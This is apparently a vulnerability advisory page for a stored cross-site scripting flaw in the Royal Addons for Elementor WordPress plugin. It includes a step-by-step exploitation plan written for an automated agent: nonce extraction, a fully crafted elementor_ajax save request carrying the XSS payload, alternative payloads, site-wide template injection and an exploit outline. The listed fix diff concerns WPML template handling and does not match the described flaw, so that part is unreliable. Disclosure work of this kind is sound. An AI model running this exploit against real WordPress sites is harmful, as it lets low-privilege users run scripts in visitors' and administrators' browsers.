Royal Addons for Elementor <= 1.7.1058 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title_tag' Parameter
Description
The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title_tag' parameter in all versions up to, and including, 1.7.1058 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.1058What Changed in the Fix
Changes introduced in v1.7.1059
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-6504 - Royal Addons for Elementor Stored XSS ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (<= 1.7.1058) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `title_tag` parameter. This occurs because the plugin allows users …
Show full research plan
Vulnerability Research Plan: CVE-2026-6504 - Royal Addons for Elementor Stored XSS
1. Vulnerability Summary
The Royal Addons for Elementor plugin (<= 1.7.1058) is vulnerable to Stored Cross-Site Scripting (XSS) via the title_tag parameter. This occurs because the plugin allows users with Contributor-level access or higher to define the HTML tag used for titles in various widgets (e.g., h1, h2, div) without properly validating the input against a whitelist or escaping the output during rendering. An attacker can substitute a legitimate tag with a malicious payload (e.g., img src=x onerror=alert(1)) which is then executed in the context of any user viewing the affected page.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX endpoint
wp-admin/admin-ajax.php. - Action:
elementor_ajax(standard Elementor save mechanism). - Vulnerable Parameter: The
title_tagvalue within the widget settings JSON object. - Authentication: Authenticated (Contributor+). Contributors can create posts and edit them using Elementor.
- Preconditions: The Royal Addons for Elementor plugin must be active, and at least one widget that utilizes a
title_tagcontrol must be placed on an Elementor-powered page.
3. Code Flow
- Entry Point: A Contributor user opens the Elementor editor for a post.
- Input: When the user modifies a widget setting (e.g., the "Advanced Heading" widget) and clicks "Update", Elementor sends a POST request to
admin-ajax.phpwith the actionelementor_ajax. - Processing: The request contains a
dataparameter with a JSON string representing the page's widget structure and settings. Thetitle_tagsetting is stored within this JSON. - Storage: Elementor saves this JSON into the WordPress database as post metadata (specifically the
_elementor_datakey for the relevant Post ID). - Rendering (Sink): When a user visits the post, Elementor triggers the
render()method of the Royal Addons widget.- The widget retrieves the
title_tagvalue via$this->get_settings_for_display(). - The code likely follows this pattern (common in Elementor addons):
$settings = $this->get_settings_for_display(); $title_tag = $settings['title_tag']; // e.g., "h2" echo '<' . $title_tag . ' class="wpr-widget-title">Content</' . $title_tag . '>'; - Because
$title_tagis not sanitized or checked against an allowed list, the injected payload is echoed directly into the HTML.
- The widget retrieves the
4. Nonce Acquisition Strategy
Elementor uses a specific security nonce for its AJAX operations, typically stored in the global elementorCommonConfig object.
- Creation: Create a new post and set the status to
publish(as Contributor). - Navigation: Use
browser_navigateto open the Elementor editor for that post. The URL format is:wp-admin/post.php?post=[POST_ID]&action=elementor. - Extraction: Once the editor loads, use
browser_evalto extract the required nonce and configuration:{ nonce: elementorCommonConfig.ajax.nonce, post_id: elementorConfig.post.id, editor_post_id: elementorConfig.editorPostId }
5. Exploitation Strategy
The exploit involves manually crafting an Elementor "Save" request that replaces a legitimate title_tag with a malicious payload.
Step-by-Step Plan:
- Log in as a Contributor.
- Create a Page/Post and enable Elementor.
- Capture Configuration: Navigate to the Elementor editor and extract the
nonceandpost_idas described in Section 4. - Craft Payload: The XSS payload will be injected into the
title_tagproperty of a widget (e.g.,wpr-advanced-heading).- Payload:
img src=x onerror=alert(document.domain)//
- Payload:
- Send HTTP Request: Use the
http_requesttool to perform theelementor_ajaxcall.
Request Details:
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded; charset=UTF-8 - Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: A JSON object defining thesave_builder_dataaction.
{ "save_builder_data": { "action": "save_builder_data", "data": { "status": "publish", "elements": [ { "id": "random_id_1", "elType": "section", "elements": [ { "id": "random_id_2", "elType": "column", "elements": [ { "id": "random_id_3", "elType": "widget", "widgetType": "wpr-advanced-heading", "settings": { "title_tag": "img src=x onerror=alert(document.domain)//", "title_text": "Hacked Heading" } } ] } ] } ] } } }post_id:[POST_ID]
6. Test Data Setup
- User: A user with the
contributorrole (e.g.,attacker_contributor). - Post: A post created by the contributor that is ready for Elementor editing.
- Plugin State: Ensure
royal-elementor-addonsis active and version is<= 1.7.1058. - Shortcode: No specific shortcode is needed for exploitation, but the
[elementor-template]or simply viewing the post URL will trigger the XSS.
7. Expected Results
- The
elementor_ajaxrequest should return a200 OKwith a JSON response indicatingsuccess: true. - When visiting the public URL of the modified post, the browser should render:
<img src=x onerror=alert(document.domain)// class="...">Content</img> - An alert box containing the document domain should appear.
8. Verification Steps
- Check Post Meta: Use WP-CLI to verify the payload is stored in the database:
Verify that thewp post meta get [POST_ID] _elementor_data --format=jsontitle_tagkey in the JSON output contains theimgpayload. - Verify Rendering: Use
http_request(GET) to fetch the post content and grep for the payload:http_request GET http://[target]/?p=[POST_ID] # Check response body for "img src=x onerror=alert"
9. Alternative Approaches
- Different Widgets: If
wpr-advanced-headingis not available or doesn't usetitle_tagin the specific version, try other Royal Addons widgets such as:wpr-promo-boxwpr-dual-color-headingwpr-team-member
- Template Injection: If the contributor has permissions to edit Royal Addons "Templates" (found in
WPR_Render_Templateslogic), inject the payload into a Header or Footer template to achieve site-wide XSS execution. - Payload Variation: If there is minimal sanitization (e.g., blocking
scripttags), use attribute-based XSS likediv onmouseover=alert(1)orsvg/onload.
Summary
The Royal Addons for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the 'title_tag' parameter in various widgets. Authenticated attackers with Contributor-level access or higher can inject malicious scripts into page settings that execute in the context of any user viewing the affected page due to insufficient input validation and output escaping.
Vulnerable Code
// The vulnerability exists in the rendering logic of various widgets (e.g., Advanced Heading) // Although the specific widget source was not provided, the research plan identifies the flow: $settings = $this->get_settings_for_display(); $title_tag = $settings['title_tag']; // Value retrieved from user-controlled Elementor settings // Sink: The value is echoed directly into the HTML without sanitization or tag whitelisting echo '<' . $title_tag . ' class="wpr-widget-title">' . $title_text . '</' . $title_tag . '>';
Security Fix
@@ -128,10 +128,13 @@ if ( defined('ICL_LANGUAGE_CODE') ) $default_language_code = apply_filters('wpml_default_language', null); - $current_language_code = apply_filters( 'wpml_current_language', NULL ); + $current_language_code = apply_filters('wpml_current_language', null); - IF ( ICL_LANGUAGE_CODE !== $default_language_code ) { - $template_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $default_language_code); + if ( $current_language_code && $current_language_code !== $default_language_code ) { + $translated_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $current_language_code); + if ( $translated_id && (int) $translated_id !== (int) $template_id ) { + $template_id = $translated_id; + } } } @@ -139,7 +142,7 @@ // if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && 0 === strpos($template_slug, 'user-header-') ) { if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && !is_null($template_slug) ) { - Utilities::render_elementor_template($template_slug); + Utilities::render_elementor_template($template_slug, $template_id); } } }
Exploit Outline
1. Log in to the WordPress site with at least Contributor-level credentials. 2. Create a new post or edit an existing one using the Elementor editor. 3. Add a Royal Addons widget that includes a 'title_tag' or 'HTML Tag' control (e.g., Advanced Heading). 4. Capture the Elementor save request to `admin-ajax.php` with the action `elementor_ajax`. 5. Modify the JSON payload in the `actions` parameter to replace the legitimate `title_tag` value (like 'h2') with a malicious script payload (e.g., `img src=x onerror=alert(document.domain)//`). 6. Submit the request to save the post metadata (`_elementor_data`). 7. Visit the public URL of the post. The browser will render the injected payload as an HTML tag, executing the JavaScript in the `onerror` attribute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.